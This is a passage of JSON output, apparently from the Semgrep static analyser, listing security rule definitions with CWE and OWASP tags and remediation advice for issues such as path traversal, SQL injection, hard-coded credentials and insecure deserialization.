https://docs.python.org/3/library/marshal.html?highlight=security"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage","id":"python.lang.security.audit.marshal.marshal-usage","name":"python.lang.security.audit.marshal.marshal-usage","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.marshal.marshal-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret)\n - [https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY](https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret","id":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","name":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.hashids-with-django-secret.hashids-with-django-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","id":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","name":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","id":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","name":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"help":{"markdown":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","id":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","name":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"help":{"markdown":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","id":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","name":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django)\n - [https://docs.djangoproject.com/en/5.0/topics/db/sql/](https://docs.djangoproject.com/en/5.0/topics/db/sql/)\n - [https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django","id":"python.django.db.djangoorm-django.djangoorm-django","name":"python.django.db.djangoorm-django.djangoorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.djangoorm-django.djangoorm-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","id":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","name":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure this is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","id":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","name":"python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-none.flask-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","id":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","name":"javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret.node-sequelize-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","id":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","name":"javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret-connection-string.node-knex-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"help":{"markdown":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization)\n - [https://www.owasp.org/index.php/Deserialization_of_untrusted_data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)\n - [https://www.oracle.com/java/technologies/javase/seccodeguide.html#8](https://www.oracle.com/java/technologies/javase/seccodeguide.html#8)\n","text":"Found object deserialization using ObjectInputStream. Deserializing entire Java objects is dangerous because malicious actors can create Java object streams with unintended consequences. Ensure that the objects being deserialized are not user-controlled. If this must be done, consider using HMACs to sign the data stream to make sure it is not tampered with, or consider only transmitting object fields and populating a new object."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.object-deserialization.object-deserialization","id":"java.lang.security.audit.object-deserialization.object-deserialization","name":"java.lang.security.audit.object-deserialization.object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.object-deserialization.object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-empty-password.mongo-empty-password","id":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","name":"go.secrets.mongodb.mongo-empty-password.mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-empty-password.mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Timestream database is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","id":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","name":"terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-timestream-database-encrypted-with-cmk.aws-timestream-database-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"help":{"markdown":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq)\n - [https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq](https://docs.djangoproject.com/en/3.0/ref/templates/builtins/#safeseq)\n","text":"Detected a template variable where autoescaping is explicitly disabled with '| safeseq' filter. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability. If you must do this, use `mark_safe` in your Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","id":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","name":"python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-var-unescaped-with-safeseq.template-var-unescaped-with-safeseq"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/spring-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","id":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","name":"java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.spring-tainted-path-traversal.spring-tainted-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"help":{"markdown":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The special variable IFS affects how splitting takes place when expanding unquoted variables. Don't set it globally. Prefer a dedicated utility such as 'cut' or 'awk' if you need to split input data. If you must use 'read', set IFS locally using e.g. 'IFS=\",\" read -a my_array'."},"helpUri":"https://semgrep.dev/r/bash.lang.security.ifs-tampering.ifs-tampering","id":"bash.lang.security.ifs-tampering.ifs-tampering","name":"bash.lang.security.ifs-tampering.ifs-tampering","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.lang.security.ifs-tampering.ifs-tampering"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Mixing trusted and untrusted data within the same structure can lead to trust boundary violations, where unvalidated data is mistakenly trusted, potentially bypassing security mechanisms. Thoroughly sanitize user input before passing it into such function 